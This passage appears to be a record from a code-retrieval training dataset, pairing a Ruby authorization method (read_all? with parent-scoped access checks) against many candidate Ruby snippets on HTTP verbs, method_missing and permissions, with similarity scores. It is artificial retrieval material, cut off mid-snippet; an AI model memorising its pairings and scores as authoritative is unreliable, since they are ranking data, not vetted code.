do\n\t\t\t\t\tsuper\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def method\n parse_request! if @method.nil?\n @method\n end", "def http_method\n METHODS[self[:method]]\n end", "def respond_to?(method, include_private = false)\n (actions(current_api).include? method) ? true : super\n end", "def process_action(method_name, *args); end", "def method_missing(meth, *args, &block)\n # method in Ruby are all lowercase...\n if meth.to_s =~ /_[a-z0-9]+_order/\n STDERR.print(\"[!] method #{meth} not defined yet...\\n\")\n Kernel.exit 1\n else\n super\n end\n end", "def invoked_method()\n obj = get_receiver_object\n if obj.nil?\n Undef\n else\n begin\n obj.method(@name)\n rescue NameError\n Undef\n end\n end\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def request_type(http_method = nil)\n (http_method || @verb).to_s.upcase\n end", "def http_method\n\t\t\t\treturn @http_method if defined?(@http_method)\n\n\t\t\t\tmethod_from_method =\n\t\t\t\t\tbegin\n\t\t\t\t\t\tparams['_method']\n\t\t\t\t\trescue ArgumentError => e\n\t\t\t\t\t\t## https://github.com/rack/rack/issues/337#issuecomment-48555831\n\t\t\t\t\t\traise unless e.message.include?('invalid %-encoding')\n\t\t\t\t\tend\n\n\t\t\t\t@http_method = (method_from_method || request_method).upcase.to_sym\n\t\t\tend", "def action_missing(*)\n end", "def http_method(value = nil)\n if value\n @http_method = value\n else\n @http_method\n end\n end", "def method_missing(action, *args)\n action.to_s =~ /^(.+)!$/\n if $1 && respond_to?($1)\n send($1, *args)\n status\n else\n super.method_missing(action, *args)\n end\n end", "def method_missing(*args)\n method_name = args.first.to_s\n if method_name=~/is_.*[?]/\n roles = method_name.gsub(/is_(.*)[?]/, \"\\\\1\")\n roles.split(\"_or_\").each do |role|\n return name.underscore==role\n end\n elsif method_name=~/has_.*[?]/\n controller = args.second\n action = method_name.gsub(/has_(.*)[?]/, \"\\\\1\")\n return has_permission(controller, action)\n else\n super(*args)\n end\n end", "def method_missing(method_name, params = {})\n component, *action = method_name.to_s.split('__')\n component = component.to_sym\n action = !action.empty? && action.join(\"__\").to_sym\n\n if action\n if components[component]\n # only actions starting with \"endpoint_\" are accessible\n endpoint_action = action.to_s.index('__') ? action : \"_#{action}_ep_wrapper\"\n component_instance(component).send(endpoint_action, params)\n else\n component_missing(component)\n end\n else\n super\n end\n end", "def _resolve_action_method_name(method_name)\n action_method_match = /\\A(\\w+)(\\??)\\z/.match(method_name)\n\n return nil if action_method_match.nil? || action_method_match[1].nil?\n\n action_name = action_method_match[1].to_sym\n is_predicate = action_method_match[2] == \"?\"\n\n if !_action_defined?(action_name)\n nil\n elsif is_predicate\n _action_method_name(action_name)\n else\n _action_list_method_name(action_name)\n end\n end", "def route? method\n if @tracker.routes[:allow_all_actions] or @tracker.options[:assume_all_routes]\n true\n else\n routes = @tracker.routes[@current_class]\n routes and (routes.include? :allow_all_actions or routes.include? method)\n end\n end", "def method=(value)\n @method = value\n end", "def defaults default_verb=nil\n default_verb = (default_verb || 'get').to_s.downcase\n\n (@ctrl.actions - @actions).each do |action|\n verb, path = DEFAULT_ACTION_MAP[action]\n verb, path = [default_verb, \"/#{action}\"] if verb.nil?\n\n add(verb, action, path) unless verb.nil? ||\n @routes.any?{|(r,n,(c,a,p))| r == make_route(verb, path)[0] }\n end\n end", "def request_method\r\n@request_method ||= check_method(env[\"REQUEST_METHOD\"])\r\nend", "def invoke_action(opt = {})\n raise(\"Method not implemented for this class: #{@klass}\")\n end", "def infer_method(action)\n case action\n when 'update' then :put\n when 'create' then :post\n else :get\n end\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def get_api_method\n return if params[:action] == 'index' && params[:controller] == 'api/docs'\n begin\n # load the parent module (e.g. EOL::Api::Search) to get the default version\n method_class = \"EOL::Api::#{params[:action].camelize}\".constantize\n rescue => e\n render_error(\"Invalid method: #{params[:action]}\")\n return nil\n end\n\n begin\n # load the proper version of the API method (e.g. EOL::Api::Search::V1_0)\n params[:version] ||= method_class::DEFAULT_VERSION\n @api_method = \"#{method_class}::V#{params[:version].tr('.', '_')}\".constantize\n rescue => e\n render_error(\"Invalid version: #{params[:version]}\")\n return nil\n end\n return @api_method\n end", "def request_method(verb)\n Net::HTTP.const_get(verb.to_s.capitalize)\n end", "def define_verb(verb)\n define_method verb do |*args, &block|\n retries = options[:authentication_retries]\n begin\n connection.send(verb, *args, &block)\n rescue Restforce::UnauthorizedError\n if retries.positive?\n retries -= 1\n connection.url_prefix = options[:instance_url]\n retry\n end\n raise\n end\n end\n end", "def method_missing(method, *args)\n if (service = method.to_s.match(/^(ip|vlm|dns)_(site|subnet6?|pool6?|address6?|alias6?|domain|range|vlan|server|view|zone|rr)_(add|update|info|list|delete|count)$/))\n r_module, r_object, r_action = service.captures\n\n if (@servicemapper.has_key?(service.to_s))\n r_mapped_service = @servicemapper[service.to_s][0]\n end\n\n # case r_action with add, update, list, delete, count to set r_method\n case r_action\n when 'add'\n r_method = 'post'\n when 'update'\n r_method = 'put'\n when 'delete'\n r_method = 'delete'\n else\n r_method = 'get'\n end\n\n self.call(r_method, r_mapped_service, args)\n else\n super\n end\n end", "def default_action; end", "def method(method_name)\n \n @_method = method_name.to_s\n \n end", "def method_missing(meth, *args)\n meth = meth.to_s\n meth.sub!(/^high_five:/, '')\n # if (!meth.match(/:/))\n # meth = \"high_five:#{meth}\"\n # end\n super meth, *args\n end", "def method\n return @method\n end", "def request_method\n {:filter => :post,\n :sample => :get,\n :firehose => :get,\n :retweet => :get\n }.fetch(@path, :get)\n end", "def method?\n type == TYPE_METHOD\n end", "def method?\n type == TYPE_METHOD\n end", "def action_for route\n raise \"Argument must be an Endpoint\" unless Endpoint === route\n action = @prefix[-1]\n action = PARAM_ROUTES[route[:method]] if self.action_mode == :param\n action = RESOURCE_ROUTES[route[:method]] if self.route_mode == :resource && self.action_mode == :collection\n action\n end", "def method_missing(method_name, *args, &block)\n # Quick check to see if changes or was are being called, this check\n # keeps us from needing to parse out the parts if we're not going\n # to use them.\n if method_name =~ /[_](changes|was)$/\n # Break apart the method call\n # TODO: no destructuring because of https://github.com/opal/opal/issues/663\n *parts = method_name.to_s.split('_')\n action = parts.pop\n key = parts.join('_').to_sym\n\n # Handle changes or was calls.\n case action\n when 'changes'\n return changes(key)\n when 'was'\n return was(key)\n end\n end\n\n # Otherwise, run super\n super\n end", "def method_object\n @method_object ||= get_method_or_raise(args.empty? ? nil : args.join(\" \"), @method_target,\n :super => opts[:super],\n :instance => opts.present?(:'instance-methods') && !opts.present?(:'methods'),\n :methods => opts.present?(:'methods') && !opts.present?(:'instance-methods')\n )\n end", "def respond_to? method\n method.to_s =~ /^do_[A-Z]+$/ ? true : super\n end", "def verb\n verb_path[0] if verb_path\n end", "def respond_to?(method)\n return true if !enabled? || soap_actions.include?(method)\n super\n end", "def method_missing( missing, *args )\n candidates = methods_that_sound_like( missing.to_s )\n message = \"You called an undefined method: #{missing}.\"\n unless candidates.empty?\n message += \"\\nDid you mean #{candidates.join(' or ')}?\"\n\t\tend\n raise raise NoMethodError.new( message )\n end", "def verb\r\n self.class.verb\r\n end", "def respond_to?(method)\n return super unless part(method)\n part(method)\n end", "def respond_to_missing?(method, include_all = false)\n handles?(method) || super(method, include_all)\n end", "def respond_to?(method)\n return true if name?(method.to_sym)\n super\n end", "def lookup_method_to_call( default_value=nil )\n @_method ||= nil\n @_method.nil? ? default_value.to_s : @_method\n end", "def respond_to_missing?(method_name)\n @original_handler.respond_to?(method_name)\n end", "def get_method\n request_object.method\n end", "def process\n raise \"#{self.class}: method #{__method__} must be implemented for #{@reference_action_def.to_s}.\"\n end", "def verb_path\n return nil if @binding.nil?\n\n {\n get: @binding.get,\n post: @binding.post,\n put: @binding.put,\n patch: @binding.patch,\n delete: @binding.delete\n }.find { |_, value| !value.empty? }\n end", "def http_method(request)\n raise NotImplementedError\n end", "def http_method(request)\n raise NotImplementedError\n end", "def method?(name)\n method_name == name.to_sym\n end", "def invoked_method()\n mthd = root.context\n if mthd.is_a?(Method) || mthd.is_a?(UnboundMethod)\n mthd.super_method\n else\n Undef\n end\n end" ]
[ "0.7169289", "0.70750165", "0.7031495", "0.7031495", "0.7022983", "0.69247615", "0.6876946", "0.6810048", "0.6800431", "0.67328423", "0.6706123", "0.6668814", "0.6662713", "0.6625469", "0.6617817", "0.6617541", "0.6613471", "0.6605119", "0.6594967", "0.65904886", "0.6549335", "0.652075", "0.65078", "0.6482619", "0.6482619", "0.6473077", "0.6458693", "0.64545035", "0.6435546", "0.6435414", "0.64199203", "0.64199203", "0.64061123", "0.63879186", "0.6383549", "0.6381981", "0.63258255", "0.6319476", "0.63133174", "0.6312577", "0.6304275", "0.6294933", "0.6289756", "0.62561494", "0.6252995", "0.6240117", "0.6223255", "0.6174855", "0.61665255", "0.61665255", "0.61665255", "0.61665255", "0.61665255", "0.6145562", "0.6139168", "0.6137666", "0.613205", "0.61270744", "0.6118388", "0.6115606", "0.6113794", "0.6112672", "0.6102154", "0.60941714", "0.60933703", "0.60716033", "0.6070611", "0.60559696", "0.60559696", "0.60559696", "0.6045366", "0.60439426", "0.6035129", "0.59970385", "0.59950477", "0.59926945", "0.59859604", "0.5982449", "0.5977009", "0.5971015", "0.5971015", "0.5958538", "0.5957731", "0.5954095", "0.59419435", "0.5938235", "0.59353024", "0.5930236", "0.59296024", "0.5929401", "0.5926985", "0.5918822", "0.5916294", "0.59038126", "0.5901467", "0.5891011", "0.5889004", "0.58871764", "0.58871764", "0.5875643", "0.58745164" ]
0.0
-1
this should be used when checking access to a single object
def read?(o = object) default? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ensure_can_see!(obj)\n raise Discourse::InvalidAccess.new(\"Can't see #{obj}\") unless can_see?(obj)\n end", "def is_object()\n res = super(context,self)\n return res\n end", "def is_a?(obj)\n __getobj__.is_a?(obj)\n end", "def check_object(obj)\n ret = json\n return ret if ret.instance_of?(obj)\n\n msg = \"Expected #{obj} in response for #{url}. The returned object is a #{ret.class}.\"\n raise Exceptions::ExceptionWithResponse.new(msg, self)\n end", "def check_object(obj)\n check_parse_tree ParseTree.new.parse_tree(obj)\n end", "def authorize_access_to(obj)\n unless authorized?(obj)\n raise Repia::Errors::Unauthorized\n end\n end", "def access_object?(object = nil, action = nil, &block)\n allow_action action, object, &block\n end", "def is_direct_object?\n true\n end", "def success\n object.member?\n end", "def can_be_accessed_by?(advocate)\n !!accessors.find(:first, :conditions => [\"accesses.requestor_id = ?\", advocate.id])\n end", "def has_access?\n true\n end", "def has_access?\n true\n end", "def valid_object model, id\n unless object = model.find_by_id(id)\n errors = {:id => 'no corresponding entry'}\n render :json => {:code => 101, :type => 'wrong_parameters', :parameters => errors}, :status => 400, :method => :get\n return false\n end\n return object\n end", "def get(object); end", "def object_not_found?\n @code == ERROR_OBJECT_NOT_FOUND\n end", "def can_invoke_method_of_same_name_on_obj?\n method_of_same_name_exists_on_obj? && @field.arguments.size == 0\n end", "def full_object\n fail NotImplementedError\n end", "def can_access?(user)\n user == self.user\n end", "def check_write_access(obj)\n return obj unless LinkedData.settings.enable_security\n if obj.is_a?(LinkedData::Models::Base) && obj.write_restricted?\n writable = obj.writable?(env[\"REMOTE_USER\"])\n error 403, \"Access denied for this resource\" unless writable\n end\n end", "def check(id, repair)\n begin\n get_object(id)\n rescue => e\n $stderr.puts \"Cannot read object with ID #{id}: #{e.message}\"\n return false\n end\n\n true\n end", "def object_exist?(object_key)\n return get_objects.has_key?(object_key)\n end", "def controls_access_for?(person)\n affected_people.any? { |p| p && (p.id == person.id) } # Checking by object doesn't work for some reason, have to use ID!\n end", "def can_see?(obj)\n if obj\n see_method = method_name_for :see, obj\n (see_method ? public_send(see_method, obj) : true)\n end\n end", "def is_a?(ob)\n __getobj__.is_a?(ob)\n end", "def i_dont_own?(object)\n if(current_user.present? and object.user.present? and object.user.id.present? and (current_user.id == object.user.id))\n false\n else\n true\n end\n end", "def permit_object?(member)\n member.membership_active? && @motion.objections.where(:member_id => member.id).blank?\n end", "def exists(_obj)\n raise NotImplementedError\n end", "def article_owner?(obj)\n\t\t\tcurrent_user.id == obj.user_id\n\t\tend", "def object_owner?\n User.find(params[:user_id]) == current_user\n end", "def owner?(obj)\n (self.id == RedisMutexer.config.redis.get(key(obj)).to_i)\n end", "def _can_do_action_with_object?(action, action_id, object)\n object_id = _get_object_id(object)\n\n if _actions_on_objects[action].nil?\n _invalid_action_on_object!(action)\n elsif unrestricted?\n true\n else\n accessly_query.can?(action_id, namespace, object_id)\n end\n end", "def locked?\n @object.reload!\n @object.exists?\n rescue Google::Cloud::NotFoundError\n false\n end", "def valid? object\n self.call(object).empty?\n end", "def owner? obj\n return false unless obj\n return true if operator?\n\n section_name = obj.class.to_s.tableize\n return true if admin?(section_name)\n\n # obj is User, simple way to define user_id\n return id == obj.id if obj.is_a?(self.class)\n\n # few ways to define user_id\n return id == obj.user_id if obj.respond_to? :user_id\n return id == obj[:user_id] if obj[:user_id]\n return id == obj[:user][:id] if obj[:user]\n\n false\n end", "def require_object_owner\n if User.find(params[:user_id]) != current_user\n flash[:error] = \"Sorry! Viewing not authorized.\"\n redirect_to :back\n end\n end", "def check(oid)\n false\n end", "def has_user_permission?(object)\n object and object.user and current_user and object.user == current_user\n end", "def check_access_data(*args)\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\t#LOG.debug(fname) {\"************** args=#{args}\"}\n\t\t##############instance_variable_names.each {|vi| LOG.debug(fname) {\"#{vi} = #{eval vi}\"}}\n\t\t#@current_user = syl/creator/SICM/\n\t\t#index:\n\t\t#@_params = {\"controller\"=>\"documents\", \"action\"=>\"index\"}\n\t\t#@object_plms = {:recordset=>[#<Document id: 2, owner_id: 101, typesobject_id: 873691851, statusobject_id: 4, next_status_id: nil, previous_status_id: nil, ident: \"DOC000064\", revision: \"0\", designation: \"Designation document\", description: \"\", date: \"2013-12-07\", created_at: \"2013-12-07 09:45:44\", updated_at: \"2013-12-07 09:45:44\", group_id: 101, projowner_id: 2, domain: \"\", type_values: nil>], :query=>nil, :page=>nil, :total=>1, :nb_items=>nil, :conditions=>[\"( group_id in (101) or projowner_id in (2))\", {}]}\n\t\t#show\n\t\t#@_params = {\"controller\"=>\"documents\", \"action\"=>\"show\", \"id\"=>\"2\", \"view_id\"=>1}\n\t\t#@object_plm = DOC000064/0-Designation document-cdc-inwork\n\t\t#edit\n\t\t#@_params = {\"controller\"=>\"documents\", \"action\"=>\"edit\", \"id\"=>\"2\"}\n\t\t#@object_plm = DOC000064/0-Designation document-cdc-inwork\n\t\t#@types = [#<Typesobject id: 1016696961, forobject: \"document\", n...\n\t\t#new\n\t\t#@_params = {\"controller\"=>\"documents\", \"action\"=>\"new\"}\n\t\t#@object_plm = DOC000067/0-Designation document-directory-inwork\n\t\t#@types = [#<Typesobject id: 1045584116, forobject: \"document\", name: \"any_type\", fields: \"{}\", description: \"\", created_at: \"2013-12-06 17:53:07\", updated_at: \"2013-12-06 17:53:07\", domain: \"admin\">, #<Typesobject id: 1016696961, forobject: \"document\", name: \"calculsheet\", fields: \"{\\\"ref_doc\\\": \\\"\\\"}\", description: \"Feuille de calcul\", created_at: \"2013-12-06 17:53:07\", updated_at: \"2013-12-06 17\n\t\t#edit_lifecycle\n\t\t#@_params = {\"controller\"=>\"documents\", \"action\"=>\"edit_lifecycle\", \"id\"=>\"2\"}\n\t\t#@object_plm = DOC000064/0-Designation document-cdc-inwork\n\t\t#add_clipboard\n\t\t#@_params = {\"authenticity_token\"=>\"1UofyUu3oSh/gswSNcrVVuiSklPBsIroOCERrKBZEEc=\", \"controller\"=>\"documents\", \"action\"=>\"add_clipboard\", \"id\"=>\"2\"}\n\t\t#dupliquer\n\t\t#@_params = {\"controller\"=>\"documents\", \"action\"=>\"new_dup\", \"id\"=>\"2\"}\n\t\t#@object_orig = DOC000064/0-Designation document-cdc-inwork\n\t\t#@object = DOC000069/0-Designation document-cdc-inwork\n\t\t#@object_plm = DOC000069/0-Designation document-cdc-inwork\n\t\t#@types = [#<Typesobject id: 1045584116, forobject: \"document\", name: \"any_type\", fiel\n\t\t#\n\t\t#\n\t\tif @_params[:controller]==\"main\" && @_params[:action]==\"index\"\n\t\tret=true\n\t\telse\n\t\tret=true #false\n\t\tend\n\t\tret\n\tend", "def allowGetIn _obj, _args\n \"_obj allowGetIn _args;\" \n end", "def objected?\n objections.any?\n end", "def valid?\n @obj && obj_class_data\n end", "def read_access_check\n resource_check('read')\n end", "def read_access_check\n resource_check('read')\n end", "def read_access_check\n resource_check('read')\n end", "def exists?(object); end", "def exists?(object); end", "def can_access?(space = object)\n space.accessible_by_user?(current_user)\n end", "def contains?(object)\n raise UnsupportedOperation\n end", "def has_one?\n true\n end", "def object_owner_for_resource?(object)\n object.user == current_user\n end", "def is_authorized (object)\n if object.nil?\n flash[:warning] = 'Invalid object.'\n redirect_to '/'\n elsif false\n flash[:warning] = 'User not authorized to work with this object.'\n redirect_to '/'\n end\n end", "def valid?\n super && !object.nil?\n end", "def can_have_associated_objects?(obj)\n true\n end", "def object_status\n super\n end", "def object_status\n super\n end", "def object_status\n super\n end", "def check_for_object(runner, workspace, idf_object, idd_object_type)\r\n workspace.getObjectsByType(idd_object_type).each do |object|\r\n # all of these objects fields are data fields\r\n if idf_object.dataFieldsEqual(object)\r\n return true\r\n end\r\n end\r\n return false\r\n end", "def safe_obj_by_key!(obj_key)\n safe_obj_by_key(obj_key) or raise ActiveRecord::RecordNotFound\n end", "def check_object(object)\n return add_node(object) unless include_object?(object)\n if is_node?(object)\n object\n else\n get_node(object)\n end\n end", "def object_type?\n @data[:object_type]\n end", "def is_in(_obj)\n raise NotImplementedError\n end", "def object_exists(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'ObjectExist')\n end", "def exist(obj)\n redirect t('redirect.not_found') if obj.nil?\n end", "def ==(object)\n self._id == object._id rescue false\n end", "def object; \"YES!\"; end", "def identifies_as?( object )\n \n return ::IdentifiesAs.object_identifies_as?( self, object ) \n \n end", "def query?\n object.nil? || !object.first.is_a?(Mongoid::Document)\n end", "def can_have_associated_objects?(obj)\n !self[:keys].any?{|k| obj.get_column_value(k).nil?}\n end", "def can_have_associated_objects?(obj)\n !self[:primary_keys].any?{|k| obj.get_column_value(k).nil?}\n end", "def can_have_associated_objects?(obj)\n !self[:left_primary_keys].any?{|k| obj.get_column_value(k).nil?}\n end", "def allow_access_to_data?\n type == :normal\n end", "def access_locked?; end", "def has_access?(id)\n unless current_is?(id)\n flash[:alert]=\"Sorry you don't have accesss to that.\"\n return false\n end\n true\n end", "def test_truth\n assert_kind_of AccessLog, access_logs(:first)\n end", "def if_access_locked; end", "def plain_old_ruby_object\n\t\treturn false\n\tend", "def can_edit?(obj)\n can_do?(:edit, obj)\n end", "def is_owner?(object, no_admin = false)\n if current_user && current_user.id === object.user.id && (object.user.is_admin? || !no_admin)\n return true\n elsif is_admin? && !no_admin\n return true\n else\n return false\n end\n rescue\n return false\n end", "def === obj\n #This is a stub, used for indexing\n end", "def canAccess(type,field,object=nil,args={})\n return false unless @ability[type]\n access = @ability[type].access_permission[field]\n return callSetArgs(access,object,args) if access.respond_to? :call\n access\n end", "def access_action?(action = nil, object = nil, &block)\n return true if response.status/100 == 4 && settings.access_errors\n if respond_to?(:request) && action.nil? && object.nil?\n object = request.controller\n action = request.action\n if object.nil? && action.present? && action.to_s.index('/')\n object, action = request.env['PATH_INFO'].to_s.scan(/\\/([^\\/]*)/).map(&:first)\n end\n object ||= :''\n action ||= :index\n object = object.to_sym\n action = action.to_sym\n end\n settings.permissions.check(access_subject, :allow => action, :with => object, &block)\n end", "def ==(obj)\n obj.is_a?(ScrapedObjectResult) &&\n base_object_klass == obj.base_object_klass &&\n id == obj.id \n end", "def can_edit?(obj)\n return true if obj.user_id == user_id || is_admin?\n false\n end", "def get_safe(obj,attr,id)\n a = get_obj(obj,id)\n return try(\"a.#{attr}\") if a and a.respond_to? attr\n #puts attr\n end", "def read_all?\n return true if authorized_via_parent\n # This is expensive, so try to avoid it\n # TODO: look in to creating a cache for\n # these look ups that's invalidated upon\n # object save\n accessible = object.map { |ea| read?(ea) }\n accessible.all?\n end", "def access!\n val = access\n if any? { |b| b.access != val }\n fail 'Not all bits the collection have the same access value!'\n end\n\n val\n end", "def check_record; end", "def has_access(developer)\r\n current_user.id == developer.id\r\n end", "def object_polluted_with_anyio?(obj, meth)\n begin\n # The object should not have this method, and\n # it shouldn't be on Object\n @@object_polluted && obj.method(meth).owner == Object\n rescue\n false\n end\n end", "def has_access?(user)\n return false if user.nil?\n self.user == user || user.is_admin?\n end", "def appctrl_ensure_is_owner\n model = controller_name.camelize.singularize.constantize # :-)\n @item = model.find( params[ :id ] )\n\n if ( @item.user_id != current_user.id )\n render_optional_error_file( 401 ) unless current_user.is_admin?\n end\n end", "def define_eccept\n if current_user.info.id == @resource.id || can_manage_has_one(current_user.info, @resource, Info)\n true\n else\n redirect_to root_path\n end\n end", "def object\n @obj\n end", "def is_exists?(objects, object_value)\n unless objects\n @object = object_value.titleize\n render \"api/v1/errors/404\", status: 404\n end\n end", "def !\n !__getobj__\n end", "def check(obj)\n check_proc.call(obj)\n end", "def private?\n return (self.owner_id != 0)\n end", "def authorize_against(parent_typed_object)\n parent_typed_object.object if built_in_type? && parent_typed_object.respond_to?(:object)\n end", "def getObjectHasBeenChecked(object)\n return object[\"attrs\"][\"last_check\"] > 0\n end", "def object; end", "def object; end" ]
[ "0.6473995", "0.6278979", "0.6241049", "0.6238177", "0.6224485", "0.61738193", "0.61229116", "0.6102109", "0.61004543", "0.60738504", "0.60701036", "0.60701036", "0.6039699", "0.60381746", "0.5985219", "0.59801966", "0.5967386", "0.59404546", "0.59279794", "0.5912104", "0.5912097", "0.59029627", "0.59003174", "0.5897975", "0.5879841", "0.5875415", "0.5874293", "0.5836629", "0.5812966", "0.58104926", "0.58038795", "0.5800011", "0.57876724", "0.57853365", "0.5780822", "0.57737404", "0.57555574", "0.57492673", "0.5748364", "0.5744475", "0.5738317", "0.57067704", "0.57067704", "0.57067704", "0.5706138", "0.5706138", "0.57021207", "0.5688742", "0.56867224", "0.5686378", "0.56764466", "0.5672719", "0.5670496", "0.56629634", "0.56629634", "0.56629634", "0.56358147", "0.56312054", "0.56252515", "0.5617591", "0.56163526", "0.5614583", "0.5602487", "0.5597478", "0.55876416", "0.5584327", "0.55840653", "0.55829394", "0.5576361", "0.5573091", "0.55711013", "0.5570468", "0.556675", "0.5559803", "0.55581844", "0.5558002", "0.554175", "0.554079", "0.5540685", "0.55391484", "0.5529175", "0.55290824", "0.55255497", "0.5509122", "0.5505207", "0.55019486", "0.55002457", "0.5495623", "0.54916275", "0.5490475", "0.54868495", "0.5484485", "0.5481742", "0.5481712", "0.54801613", "0.5472038", "0.5463702", "0.5460211", "0.5454687", "0.54517066", "0.54517066" ]
0.0
-1
this should be used when checking access to multilpe objects it will call `read?` on each object of the array if the operation used a scope to find records from an association, then `authorized_via_parent` could be true, in which case, the loop would be skipped. TODO: think of a way to override the authorized_via_parent functionality
def read_all? return true if authorized_via_parent # This is expensive, so try to avoid it # TODO: look in to creating a cache for # these look ups that's invalidated upon # object save accessible = object.map { |ea| read?(ea) } accessible.all? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def do_nested\n @record = find_if_allowed(params[:id], :read)\n end", "def child_acl\n [\n {\n 'privilege' => '{DAV:}read',\n 'principal' => owner,\n 'protected' => true\n },\n {\n 'privilege' => '{DAV:}write',\n 'principal' => owner,\n 'protected' => true\n }\n ]\n end", "def parents_readable_by?(user, parents)\n return false if parents.blank?\n parents = [parents] if !parents.is_a?(Array)\n parents.find_all{ |parent| parent.readable_by?(user) }.size > 0\n end", "def read_permissions\n can :read, String do |pid|\n Rails.logger.debug(\"[READPERM] Checking from STRING\")\n test_read(pid)\n end\n\n can :read, [DRI::Batch] do |obj|\n Rails.logger.debug(\"[READPERM] Checking from Object\")\n test_read(obj.id)\n end\n\n\n can :read, SolrDocument do |obj|\n Rails.logger.debug(\"[READPERM] Checking from SolrDoc\")\n cache.put(obj.id, obj)\n test_read(obj.id)\n end\n end", "def readable_by?(user, parent = nil)\n raise \"#{self.class}#readable_by?(user, parent = nil) must be overridden\"\n end", "def accessible_objects(user_or_attribute, operation, options = {})\n if policy_machine_storage_adapter.respond_to?(:accessible_objects)\n policy_machine_storage_adapter.accessible_objects(user_or_attribute, operation, options)\n else\n result = objects.select { |object| is_privilege?(user_or_attribute, operation, object, options) }\n if inclusion = options[:includes]\n result.select! { |object| object.unique_identifier.include?(inclusion) }\n end\n result\n end\n end", "def authorized_for_read?\n return true if !existing_record_check?\n if !current_user.nil?\n if current_user.has_role?(:admin)\n return true\n else\n return !current_user.groups.map{|g| g.is_a?(Group) ? g.id : g}.index(self.group_id).nil?\n end\n else\n return false\n end\n end", "def authorized_for_read?\n return true if !existing_record_check?\n if !current_user.nil?\n if current_user.has_role?(:admin)\n return true\n else\n return !current_user.groups.map{|g| g.is_a?(Group) ? g.id : g}.index(self.job.group_id).nil?\n end\n else\n return false\n end\n end", "def indexable_by?(user, parent = nil)\n raise \"#{self}.indexable_by?(user, parent = nil) must be overridden\"\n end", "def has_permission?\n return true if administrator?\n \n # Load the Model based on the controller name\n klass = self.controller_name.classify.constantize\n \n # Load the possible parent requested\n @parents = (klass.has_parent?) ? get_parents_from_request_params(klass, params) : nil\n \n # Load the resource requested\n if params[:id]\n if [\"index\", \"destroy\", \"update\"].include?(params[:action]) && klass.respond_to?(:in_set)\n @resource = klass.in_set(params[:id])\n @resource = @resource.first if @resource.size == 1\n else\n @resource = klass.find(params[:id])\n end\n end\n \n # Let's let the Model decide what is acceptable\n # NOTE: It is still the concrete controller's job to filter inaccessible resources (accessed via the index)!\n # This presumably happens in the with_parent named scope\n \n authorized = case params[:action]\n when \"edit\", \"update\"\n if !@resource.is_a?(Array)\n return @resource.updatable_by?(current_user, @parents) # this is 'returned' to authorized\n end\n \n verify_set_accessablility(@resource, :updatable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for update.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"destroy\" \n if !@resource.is_a?(Array)\n return @resource.deletable_by?(current_user, @parents)\n end\n \n verify_set_accessablility(@resource, :deletable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for deletion.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"index\" then klass.indexable_by?(current_user, @parents)\n when \"new\", \"create\" then klass.creatable_by?(current_user, @parents)\n when \"show\" then @resource.readable_by?(current_user, @parents)\n else check_non_restful_route(current_user, klass, @resource, @parents)\n end\n \n permission_denied unless authorized\n \n #rescue NoMethodError => e\n # Misconfiguration: A RESTful_ACL specific method is missing.\n #raise_error(klass, e)\n #rescue\n # Failsafe: If any funny business is going on, log and redirect\n #routing_error\n #end\n end", "def query(_action, abstract_model)\n begin\n p_scope = begin\n if parent_object.present? && association_name.present?\n @controller.policy_scope!(@controller.send(:pundit_user), parent_object.send(association_name))\n else\n @controller.policy_scope!(@controller.send(:pundit_user), abstract_model.model.all)\n end\n end\n rescue ::Pundit::NotDefinedError\n p_scope = begin\n if parent_object.present? && association_name.present?\n parent_object.send(association_name)\n else\n abstract_model.model.all\n end\n end\n end\n p_scope\n end", "def can_read?(user=@session.user)\n effective_acl.can_read?(user)\n end", "def method_missing(method, *args, &body)\n\n if in_set?([\"<<\",\"clear\",\"delete\"],method.to_s)\n\n # DEPRICATED CODE:\n if !call_if_exists(@parent, \"gr_#{@target.proxy_reflection.name.to_s}_w?\")\n guard_rails_error(\"Not authorized to use #{method.to_s} on read-only object\")\n end\n # END OF DEPRICATED CODE\n\n failed = false\n \n # If the parent, the proxy, the Rails proxy, or the array itself\n # fail to allow edits, then the edit methods will be prohibited\n\n if @parent.respond_to?(\"gr_can_edit?\")\n if !@parent.gr_can_edit?\n failed = true\n end\n end\n if @target.respond_to?(\"gr_can_edit?\")\n if !@target.gr_can_edit?\n failed = true\n end\n end\n if self.respond_to?(\"gr_can_edit?\")\n if !self.gr_can_edit?\n failed = true\n end\n end\n if @target.respond_to?(\"proxy_reflection\")\n if !@target.target.gr_can_edit?\n failed = true\n end\n end\n\n # << counts as an append method, so it can be performed, even without\n # write access, as long as one of the objects in quesiton actively \n # allows append access (note that not specifying append access at all)\n # does not count the same as directly saying append access is allowed,\n # as it would with any other type of access control policy\n\n if failed and method.to_s==\"<<\" \n if @parent.respond_to?(\"gr_can_append?\")\n if @parent.gr_can_append?\n failed = false\n end\n end\n if @target.respond_to?(\"gr_can_append?\")\n if @target.gr_can_append?\n failed = false\n end\n end\n if self.respond_to?(\"gr_can_append?\")\n if self.gr_can_append?\n failed = false\n end\n end\n if @target.respond_to?(\"proxy_reflection\")\n if @target.target.gr_can_append?\n failed = false\n end\n end\n # If the method in question is << and there is no\n # append access, the violation policy for append access\n # will be run.\n\n # TODO: check to make sure that this line cannot be \n # reached if << was called but no append access annotation\n # was defined\n return eval_violation(:append_access) if failed\n end\n \n # If the method is blocked for write access reasons, call\n # the appropriate violation method\n eval_violation(:write_access) if failed\n end\n\n # DEPRICATED CODE: Allows specific methods to be singled out as allowed\n # or not based on gr_ methods in the object that \"owns\" this reflection.\n # This feature is currently unused, but might be useful\n special_function = \"gr_#{@target.proxy_reflection.name.to_s}_#{method.to_s}\"\n if @parent.respond_to?(special_function)\n if !@parent.send(special_function)\n guard_rails_error(\"Not authorized to use #{method.to_s} on 